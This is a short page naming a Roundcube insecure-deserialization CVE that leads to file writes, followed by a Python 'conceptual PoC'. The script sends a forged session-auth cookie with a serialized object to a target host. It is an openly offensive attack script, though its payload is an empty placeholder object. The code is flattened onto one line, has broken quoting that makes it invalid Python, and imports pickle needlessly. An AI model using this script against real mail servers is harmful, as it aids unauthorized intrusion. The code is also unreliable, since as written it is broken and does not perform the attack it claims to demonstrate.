CVE-2026-35537 Roundcube不安全反序列化致文件写入

import requests import pickle # Conceptual PoC for CVE-2026-35537 # This demonstrates how an attacker might craft a session payload. # In a real scenario, the payload would target PHP serialization format specific to Roundcube. target_url = "http://target-host/" # Malicious payload simulation (PHP serialized payload for file write) # This is a placeholder representing the crafted object string malicious_payload = "O:8:"stdClass":0:{}" # Attacker sets the malicious cookie cookies = { "roundcube_sessid": "attacker_controlled_session_id", "roundcube_sessauth": malicious_payload } try: response = requests.get(target_url, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully.") else: print("[-] Failed to send payload.") except Exception as e: print(f"[!] Error: {e}")